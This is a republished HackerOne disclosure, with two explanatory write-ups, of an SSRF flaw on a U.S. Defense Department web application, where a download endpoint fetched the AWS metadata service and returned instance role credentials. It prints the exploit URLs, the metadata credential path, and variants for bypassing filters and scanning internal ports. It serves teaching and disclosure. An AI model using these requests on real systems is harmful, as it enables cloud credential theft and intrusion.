Skip to content
SSRF Disclosed report Beginner

SSRF to read AWS metaData at https://█████/ [HtUS]

The application's download-url endpoint accepted a user-supplied URL and fetched it server-side without validation, allowing an attacker to reach the AWS instance metadata service. The attacker could read instance metadata and temporary IAM credentials, and potentially scan internal ports.

rohsec Follow

Originally disclosed on HackerOne

Bounty$1,000 Critical View original
  • Triaged in 3 hours
  • Fixed in 2 months
  • Paid in 4 hours
  • Disclosed after 3 months

Hello Team, While researching your program I found that the domain https://████/ is vulnerable to Server Side Request Frogery Attacks via the url parameter. An attacker is able to fetch the aws metadata abusing the SSRF at https://████████/ ============================SUMMARY=========================

Vulnerable URL:

https://███████/

Vulnerable Path:

/api/v1/download-url?url=http://169.254.169.254/latest/meta-data/

Final Exploit URL:

https://█████/api/v1/download-url?url=http://169.254.169.254/latest/meta-data/

Exploited AWS metadata

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/

Exposed Credentials:

https://█████████/api/v1/download-url?url=http://169.254.169.254/2021-07-15/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

{
  "Code" : "Success",
  "LastUpdated" : "2022-07-04T11:22:59Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "███",
  "SecretAccessKey" : "████",
  "Token" : "████

===========================STEPS TO REPRODUCE==========================

  1. Go to the above Exploit URL, i.e; https://█████/api/v1/download-url?url=http://169.254.169.254/latest/meta-data/
  2. You will see the AWS Metadata being fetched and exposed.

Impact

An attacker is able to explore and fertch the AWS metadata via the SSRF. This SSRF can be used to perform other attack vectors as well such as scanning internal ports. A successful SSRF attack can often result in unauthorized actions or access to data within the organization, either in the vulnerable application itself or on other back-end systems that the application can communicate with.

The original report as published on HackerOne, by rohsec. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

The target is a web application hosted on a U.S. Department of Defence domain. The researcher found that the domain is vulnerable to Server-Side Request Forgery (SSRF) through a url parameter, and used that flaw to reach the AWS instance metadata service and read the credentials attached to the instance.

The feature involved is a download helper. The application exposes an API endpoint that takes a URL and fetches it on the server's behalf:

Text
/api/v1/download-url?url=...

Normally such an endpoint is meant to retrieve a file or resource from a location the user supplies. Because the request is made by the server, the user controls where the server connects, which is exactly the condition that turns a convenience feature into SSRF when the destination is not restricted.

Setup

The report does not describe any accounts, roles, tools or software versions. The only precondition is network access to the application and the ability to send a request to the download-url endpoint with an arbitrary url value. No authentication step is mentioned.

Finding it

While researching the program, the researcher found that the domain was vulnerable to SSRF through the url parameter. That made it worth testing whether the server could be pointed at the link-local address used by the AWS instance metadata service, [redacted], which is reachable from EC2 instances and serves instance information and temporary credentials.

Exploitation

Step 1: Point the fetcher at the metadata root

The researcher supplied the metadata service root as the url value on the vulnerable path:

Text
/api/v1/download-url?url=http://[redacted]/latest/meta-data/

The full exploit URL was:

Text
https://█████/api/v1/download-url?url=http://[redacted]/latest/meta-data/

Here the url parameter carries http://[redacted]/latest/meta-data/, the standard entry point for the EC2 instance metadata service. Because the application fetched this address from the server, the response was the metadata listing rather than anything the application intended to serve.

Step 2: Read the metadata listing

The response returned the top-level metadata keys available on the instance:

Text
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/

This confirms the server can reach the metadata service and that the application returns its contents to the caller. The presence of identity-credentials/ is the interesting entry: it is where the instance's role credentials live.

Step 3: Retrieve the instance credentials

The researcher then requested the credentials path, using the dated metadata version 2021-07-15:

Text
https://█████████/api/v1/download-url?url=http://[redacted]/2021-07-15/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

The response contained the temporary credentials for the instance role:

JSON
{
  "Code" : "Success",
  "LastUpdated" : "2022-07-04T11:22:59Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "███",
  "SecretAccessKey" : "████",
  "Token" : "████

The fields are the standard shape of EC2 instance role credentials: an access key ID, a secret access key and a session token. With these three values an attacker can sign AWS API calls as the instance role, subject to whatever permissions that role holds.

Root cause

The application accepts a user-supplied URL in the url parameter and performs the request server-side without preventing it from reaching internal or link-local addresses. Because the server runs on EC2, [redacted] is reachable from it, and the metadata service answers unauthenticated requests from the instance itself. The application then returns the fetched body to the caller, so the metadata is disclosed directly.

The application fetched a user-supplied URL server-side and returned the body, including from the link-local metadata address. The report does not describe any defence that was present.

Impact

An attacker can explore and fetch the AWS metadata through the SSRF. The researcher notes that the same flaw can be used for other attack vectors, such as scanning internal ports. A successful SSRF can often result in unauthorised actions or access to data within the organisation, either in the vulnerable application itself or on other back-end systems the application can communicate with.

In this case the concrete exposure is the instance role's temporary credentials returned in the response.

Fix

The measures that address this class of flaw are to validate the url parameter against an allowlist of permitted hosts and schemes, and to block requests to private, loopback and link-local ranges including [redacted]. Where the metadata service is not needed, enforcing IMDSv2 (session-token-required metadata requests) raises the bar for this kind of abuse, since a simple GET-based SSRF can no longer retrieve credentials.

Variants to test

  1. Alternate metadata paths. Request other entries from the listing, such as iam/security-credentials/ or identity-credentials/ec2/info, to see whether role names or additional identity data leak. A positive result is any structured data returned from [redacted].
  2. Different encodings of the address. Try decimal, octal or IPv6 forms of the link-local address, and redirects from an allowed host to the metadata service, to test whether the filter only matches the literal string. A positive result is the metadata listing appearing despite the filter.
  3. Internal port scanning. Point url at internal hosts and ports and compare response times and error messages. A positive result is a distinguishable response for open versus closed ports.
  4. Other fetch-style parameters. Look for parameters named url, uri, src, dest, redirect, image, feed or webhook on other endpoints and repeat the metadata request. A positive result is any server-side fetch of an attacker-chosen destination.

Hunting notes

This bug hides in features that fetch remote content on the user's behalf: download helpers, URL previews, image importers, PDF generators, webhooks and feed readers. During recon, endpoints with a URL-shaped parameter are the signal, especially on cloud-hosted applications where the server itself can reach [redacted].

The researcher demonstrated impact by going past the metadata listing to the credentials path and showing the returned access key, secret key and session token. That turns a generic SSRF into a concrete credential disclosure, which is what makes the report persuasive to a program.

A note on the report itself: the vulnerable host is redacted throughout, and the credential values are masked, so the exact endpoints and keys are not reproducible from the text alone.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

What happened, in plain words

A security researcher was looking at a website run by the U.S. Department of Defence. The site had a small feature that lets you give it a web address and it goes and fetches that address for you, a bit like asking a friend to go to the shop and bring back whatever is on the shelf you name. The researcher found the website's server would fetch the address given in the url parameter, including the cloud metadata address.

One of those private places is a special address that cloud servers use to talk to themselves. On Amazon's cloud (AWS), every server can ask a fixed address, [redacted], questions about itself: what kind of machine it is, what its name is, and, most importantly, what temporary keys it has been given to use other Amazon services. Those keys are meant to stay inside the machine. Because the website would fetch any address on request, the researcher was able to make the website fetch that special address and hand back the answers, including the keys.

With those keys, someone could act as that server inside Amazon's cloud, within whatever permissions the server had been given.

The pieces you need to know first

Before walking through the steps, here are the ideas the report leans on, explained from scratch.

  • A server is the computer that runs a website. When you visit a page, your browser asks the server for it and the server sends it back. You never see the server itself, only what it sends.
  • An API is a way for one piece of software to talk to another. Think of it as a service counter: you hand over a request in a fixed format, and you get an answer back in a fixed format. Websites often have APIs behind their pages, and those APIs can also be called directly.
  • An endpoint is one specific address on that counter, one particular thing you can ask for. In this report the endpoint is called download-url, and it lives under /api/v1/, which is just a folder-like path in the address.
  • A parameter is a piece of information you attach to a request, like writing your order on a form. In a web address, parameters come after a question mark. Here the parameter is called url, and its value is the address you want fetched.
  • A URL is a web address, the thing you type in a browser bar, such as https://example.com/page.
  • SSRF (Server-Side Request Forgery) is the name of the flaw in this report. Normally when you visit a site, your own computer makes the requests. In SSRF, you trick the server into making a request on your behalf, to a destination of your choosing. The everyday comparison: you cannot get into the staff-only back room, but you can ask a member of staff to go in and bring something out for you. The staff member has access you do not, and you are using their legs.
  • A link-local address is a special address that only works on the local network segment, not across the internet. [redacted] is one of these. It is not reachable from your home computer, but it is reachable from inside the cloud network where the server sits.
  • The AWS instance metadata service is the thing listening at [redacted] on Amazon cloud servers. "Metadata" just means data about the machine itself. The service answers questions like "what is my instance ID?" and "what credentials do I have?". It answers without asking for a password, because it assumes only the machine itself can reach that address.
  • Credentials are the keys that prove who you are when talking to a service. In AWS they come as three values: an AccessKeyId (a username-like identifier), a SecretAccessKey (the secret half, used to sign requests) and a Token (a session token that goes with temporary credentials). Together they let software make authorised calls to AWS.
  • A role in AWS is a set of permissions attached to a machine or person. The temporary credentials belong to the role the server was given, so they carry exactly that role's permissions, no more and no less.

The setup

The report does not describe any accounts, roles, tools or software versions. The only precondition is being able to reach the application over the network and send a request to the download-url endpoint with any url value you like. No login step is mentioned.

Finding it

While researching the program, the researcher found that the domain was vulnerable to SSRF through the url parameter. That is the moment SSRF becomes possible: the server will dial any number you give it.

That made it worth testing whether the server could be pointed at [redacted], the link-local address used by the AWS instance metadata service. That address is reachable from Amazon cloud servers and serves information about the machine plus its temporary credentials. If the server would fetch it, the answer would come straight back to the researcher.

Exploitation

Step 1: Point the fetcher at the metadata root

The researcher supplied the metadata service's front page as the url value on the vulnerable path:

Text
/api/v1/download-url?url=http://[redacted]/latest/meta-data/

Line by line:

  • /api/v1/download-url is the endpoint, the specific counter on the API where the download feature lives.
  • ? marks the start of the parameters.
  • url= names the parameter and begins its value.
  • http://[redacted]/latest/meta-data/ is the value: the special cloud address, followed by /latest/meta-data/, which is the standard entry point for the metadata service. latest means "give me the newest version of the metadata layout".

The full exploit URL, with the site's own address in front, was:

Text
https://█████/api/v1/download-url?url=http://[redacted]/latest/meta-data/

Here the first part, https://█████/, is the public website. Everything after it is the request being sent to that website. The website's server then reads the url parameter and makes its own request to http://[redacted]/latest/meta-data/. Because that request comes from the server, it succeeds, and the answer is passed back to the researcher instead of anything the application meant to serve.

Step 2: Read the metadata listing

The response returned the top-level list of metadata entries available on the machine:

Text
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/

This is a table of contents. Each line is a topic the metadata service can tell you about. Lines ending in / are folders you can go into for more detail. For example, hostname is the machine's name, instance-type is the size and shape of the machine, and security-groups describes its network firewall rules.

The interesting line is identity-credentials/. That is the folder where the machine's own credentials live. Seeing it in the listing confirms two things: the server really can reach the metadata service, and the application really does hand the contents back to whoever asked.

Step 3: Retrieve the instance credentials

The researcher then asked for the credentials file itself, using the dated metadata version 2021-07-15:

Text
https://█████████/api/v1/download-url?url=http://[redacted]/2021-07-15/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Line by line:

  • https://█████████/ is the public site again.
  • /api/v1/download-url?url= is the same download endpoint and parameter as before.
  • http://[redacted]/ is the same special cloud address.
  • 2021-07-15 pins the request to a specific dated version of the metadata service. Amazon keeps older layouts available under date labels so software does not break when the layout changes.
  • /meta-data/identity-credentials/ec2/security-credentials/ec2-instance walks down into the folder seen in the listing and asks for the file that holds the machine's credentials.

The response contained the temporary credentials for the machine's role:

JSON
{
  "Code" : "Success",
  "LastUpdated" : "2022-07-04T11:22:59Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "███",
  "SecretAccessKey" : "████",
  "Token" : "████

Line by line:

  • Code says the request succeeded.
  • LastUpdated is when the credentials were last refreshed. Temporary credentials are rotated regularly, so this tells you how fresh they are.
  • Type says how requests are signed with these credentials. AWS-HMAC is Amazon's standard signing method.
  • AccessKeyId is the public half of the key pair, like a username.
  • SecretAccessKey is the private half, used to sign each request. It must never be shared.
  • Token is the session token that must accompany temporary credentials.

With these three values, someone can sign requests to Amazon's services as that machine's role, limited only by whatever permissions the role was granted.

Why it worked

The application takes a URL from the user in the url parameter and fetches it from the server without stopping it from reaching internal or link-local addresses. Because the server runs on Amazon's cloud, [redacted] is reachable from it, and the metadata service answers requests from the machine without asking for a password. The application then returns the fetched body to the caller, so the metadata is simply handed over.

The application fetched a user-supplied URL server-side and returned the body, including from the link-local metadata address. The report does not describe any defence that was in place.

Impact

An attacker can explore and fetch the AWS metadata through the SSRF. The researcher notes the same flaw can be used for other attacks too, such as scanning internal ports, because the server can be made to knock on doors inside the network and report back what it finds. A successful SSRF can often lead to unauthorised actions or access to data within the organisation, either in the vulnerable application itself or on other back-end systems the application can talk to.

In this case the concrete exposure is the machine role's temporary credentials returned in the response.

Fix

The measures that address this class of flaw are to check the url parameter against an allowlist of permitted hosts and schemes, and to block requests to private, loopback and link-local ranges, including [redacted]. Where the metadata service is not needed, enforcing IMDSv2, a version of the metadata service that requires a session token before answering, raises the bar for this kind of abuse, because a simple fetch-based SSRF can no longer retrieve credentials.

Variants to test

  1. Alternate metadata paths. Request other entries from the listing, such as iam/security-credentials/ or identity-credentials/ec2/info, to see whether role names or additional identity data leak. A positive result is any structured data returned from [redacted].
  2. Different encodings of the address. Try decimal, octal or IPv6 forms of the link-local address, and redirects from an allowed host to the metadata service, to test whether the filter only matches the literal string. A positive result is the metadata listing appearing despite the filter.
  3. Internal port scanning. Point url at internal hosts and ports and compare response times and error messages. A positive result is a distinguishable response for open versus closed ports.
  4. Other fetch-style parameters. Look for parameters named url, uri, src, dest, redirect, image, feed or webhook on other endpoints and repeat the metadata request. A positive result is any server-side fetch of an attacker-chosen destination.

Hunting notes

This bug hides in features that fetch remote content on the user's behalf: download helpers, URL previews, image importers, PDF generators, webhooks and feed readers. During recon, endpoints with a URL-shaped parameter are the signal, especially on cloud-hosted applications where the server itself can reach [redacted].

The researcher showed real impact by going past the metadata listing to the credentials path and showing the returned access key, secret key and session token. That turns a generic SSRF into a concrete credential disclosure, which is what makes the report persuasive to a program.

A note on the report itself: the vulnerable host is redacted throughout, and the credential values are masked, so the exact endpoints and keys cannot be reproduced from the text alone.

Glossary

  • API: a fixed way for one piece of software to ask another for something, like a service counter with set request and answer formats.
  • AWS: Amazon Web Services, Amazon's cloud platform where customers rent servers and other computing services.
  • AWS-HMAC: the signing method Amazon uses to prove that a request was made with a particular set of credentials.
  • AccessKeyId: the public identifier half of an AWS credential pair, like a username.
  • Allowlist: a list of things that are explicitly permitted, with everything else refused.
  • Credentials: the keys that prove identity to a service, here an access key ID, a secret access key and a session token.
  • Endpoint: one specific address on an API that you can send a request to.
  • IMDSv2: a newer version of the AWS instance metadata service that requires a session token before it answers, making simple fetch-based abuse harder.
  • Instance: a single virtual machine running in a cloud, here one server belonging to the application.
  • Instance metadata service: the service at [redacted] that tells a cloud machine about itself and hands it temporary credentials.
  • Link-local address: an address that only works on the local network segment, not across the internet, such as [redacted].
  • Loopback address: an address that points back at the same machine, such as [redacted].
  • Metadata: data about the machine itself, such as its name, type and network details.
  • Parameter: a named piece of information attached to a request, appearing after a ? in a web address.
  • Private address range: addresses reserved for internal networks that are not reachable from the public internet.
  • Role: a set of permissions in AWS that a machine or person can be given, and whose credentials carry exactly those permissions.
  • SecretAccessKey: the private half of an AWS credential pair, used to sign requests and never to be shared.
  • Server: the computer that runs a website and answers requests for it.
  • Session token: an extra value that must accompany temporary credentials to prove they belong to a valid session.
  • SSRF (Server-Side Request Forgery): a flaw where an attacker makes the server send a request to a destination of the attacker's choosing.
  • URL: a web address, such as https://example.com/page.
  • Webhook: a feature where one system sends a request to a URL you supply when something happens, which can be abused like any other server-side fetch.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.